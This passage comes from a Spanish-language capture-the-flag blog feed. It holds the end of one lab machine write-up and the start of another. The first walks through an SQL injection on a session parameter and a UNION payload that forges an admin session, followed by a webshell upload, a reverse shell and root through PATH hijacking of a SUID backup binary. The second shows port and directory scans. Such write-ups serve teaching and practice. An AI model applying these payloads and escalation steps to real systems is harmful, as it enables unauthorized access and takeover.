&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --data-urlencode &lt;span style="color:#e6db74"&gt;&amp;#34;session_id=&amp;#39;&amp;#34;&lt;/span&gt; | head &lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Identificamos que es una &lt;strong&gt;SQLi error-based&lt;/strong&gt; en una consulta del estilo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; tsessions_php &lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;id_session&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;$session_id&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;LIMIT&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80b4-9367-da3da557d777.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Determinar número de columnas&lt;/p&gt;
&lt;p&gt;Probando &lt;code&gt;UNION SELECT&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Con 1 y 2 columnas falla.&lt;/li&gt;
&lt;li&gt;Con 3 columnas devuelve HTML correctamente.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Conclusión: la tabla devuelve &lt;strong&gt;3 columnas&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Dumpeo con sqlmap&lt;/p&gt;
&lt;p&gt;Usamos &lt;code&gt;sqlmap&lt;/code&gt; para extraer contenido de &lt;code&gt;tsessions_php&lt;/code&gt; y encontramos una sesión de &lt;code&gt;matt&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8069-bf6f-e5390d2999c4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;g4e01qdgk36mfdh90hvcc54umq&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id_usuario&lt;/span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;s&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;matt&amp;#34;&lt;/span&gt;;&lt;span style="color:#a6e22e"&gt;alert_msg&lt;/span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;{}&lt;span style="color:#a6e22e"&gt;new_chat&lt;/span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1638796349&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esa sesión obtenemos acceso al panel como &lt;code&gt;matt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8073-b667-fc11ce39992d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-admin-secuestro-de-sesión"&gt;Escalada a admin (secuestro de sesión)&lt;/h3&gt;
&lt;p&gt;Como &lt;code&gt;matt&lt;/code&gt; no tenemos permisos de admin (no podemos subir ficheros). La solución es forzar una sesión de admin inyectando el contenido del campo &lt;code&gt;data&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;session_id=&amp;#39; union select 1,2,&amp;#39;id_usuario|s:5:&amp;#34;admin&amp;#34;;&amp;#39;-- -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esto nos devuelve un &lt;code&gt;id_session&lt;/code&gt; válido para &lt;strong&gt;admin&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80b1-9136-d933ed89e7c6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="rce-subida-de-webshell"&gt;RCE: subida de webshell&lt;/h3&gt;
&lt;p&gt;Con sesión de admin subimos una &lt;code&gt;shell.php&lt;/code&gt;. En el sistema aparece en:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/www/pandora/pandora_console/images/shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Accedemos a la webshell y lanzamos reverse shell (en mi caso funcionó mejor con la de pentestmonkey).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8077-a821-e5a38a46835f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8098-87fd-e1cca529a643.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-root-path-hijacking-en-binario-suid"&gt;Escalada a root (PATH hijacking en binario SUID)&lt;/h3&gt;
&lt;p&gt;Enumeramos binarios SUID:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find / -perm &lt;span style="color:#ae81ff"&gt;-4000&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Destaca &lt;code&gt;/usr/bin/pandora_backup&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Al inspeccionar el binario se aprecia que invoca &lt;code&gt;tar&lt;/code&gt; &lt;strong&gt;sin ruta absoluta&lt;/strong&gt;. Esto permite &lt;strong&gt;PATH hijacking&lt;/strong&gt;: si controlamos &lt;code&gt;PATH&lt;/code&gt; y colocamos un ejecutable llamado &lt;code&gt;tar&lt;/code&gt; antes que el real, el binario SUID ejecutará nuestro payload como root.&lt;/p&gt;
&lt;p&gt;Ejecución&lt;/p&gt;
&lt;p&gt;Desde la reverse shell no funcionó de forma fiable, pero por SSH sí (tras preparar claves).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80db-837c-fbaf4797849e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Una vez ajustado el &lt;code&gt;PATH&lt;/code&gt; y ejecutado &lt;code&gt;pandora_backup&lt;/code&gt;, obtenemos ejecución como &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Previous (Medium)</title><link>https://synacklabs.github.io/posts/previous/</link><pubDate>Wed, 14 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/previous/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Previous &lt;strong&gt;(Medium)&lt;/strong&gt;. Incluye enumeración API, Auth bypass, Local File Inclusion, exfiltración de credenciales y uso del binario Terraform para escalar privilegios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80e0-9e49-d9fd4716a970.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="enumeración"&gt;Enumeración&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;22/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu Linux; protocol 2.0&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ECDSA&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0Vq
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ED25519&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx 1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods: GET HEAD POST OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Did not follow redirect to
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://previous.htb/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: nginx/1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="http-puerto-80"&gt;HTTP (Puerto 80)&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-808d-8dd3-d9616c0d4049.png" alt="Imagen del post"&gt;&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Previous &lt;strong&gt;(Medium)&lt;/strong&gt;. Incluye enumeración API, Auth bypass, Local File Inclusion, exfiltración de credenciales y uso del binario Terraform para escalar privilegios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80e0-9e49-d9fd4716a970.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="enumeración"&gt;Enumeración&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;22/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu Linux; protocol 2.0&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ECDSA&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0Vq
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ED25519&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx 1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods: GET HEAD POST OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Did not follow redirect to
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://previous.htb/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: nginx/1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="http-puerto-80"&gt;HTTP (Puerto 80)&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-808d-8dd3-d9616c0d4049.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Durante la navegación inicial aparece:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Contacto:&lt;/strong&gt; &lt;code&gt;jeremy@previous.htb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Rutas visibles: &lt;strong&gt;GET STARTED&lt;/strong&gt; y &lt;strong&gt;DOCS&lt;/strong&gt;: &lt;code&gt;/api/auth/signin?callbackUrl=%2Fdocs&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Descubrimiento de rutas&lt;/p&gt;
&lt;p&gt;Se enumeraron endpoints con &lt;code&gt;dirsearch&lt;/code&gt; y la mayoría redirigían a &lt;code&gt;/api/auth/signin?callbackUrl=...&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dirsearch -u previous.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 35B - /api -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 39B - /api.log -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi.log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 39B - /api-doc -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi-doc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 38B - /
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;api.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2Fapi.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 39B - /api.php -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api-docs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi-docs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 44B - /api/config -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fconfig
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 60B - /api/apidocs/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapidocs%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 60B - /api/2/issue/createmeta -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2F2%2Fissue%2Fcreatemeta
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 41B - /api/api -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 48B - /api/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 52B - /api/cask/graphql -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fcask%2Fgraphql
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 46B - /api/api-docs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapi-docs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 42B - /api/docs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fdocs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 45B - /api/profile -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fprofile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 43B - /api/batch -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fbatch
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 50B - /api/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 54B - /api/application.wadl -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapplication.wadl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 44B - /api/jsonws -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fjsonws
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 48B - /api/login.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Flogin.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 57B - /api/spec/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fspec%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 47B - /api/snapshots -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fsnapshots
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 47B - /api/error_log -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Ferror_log
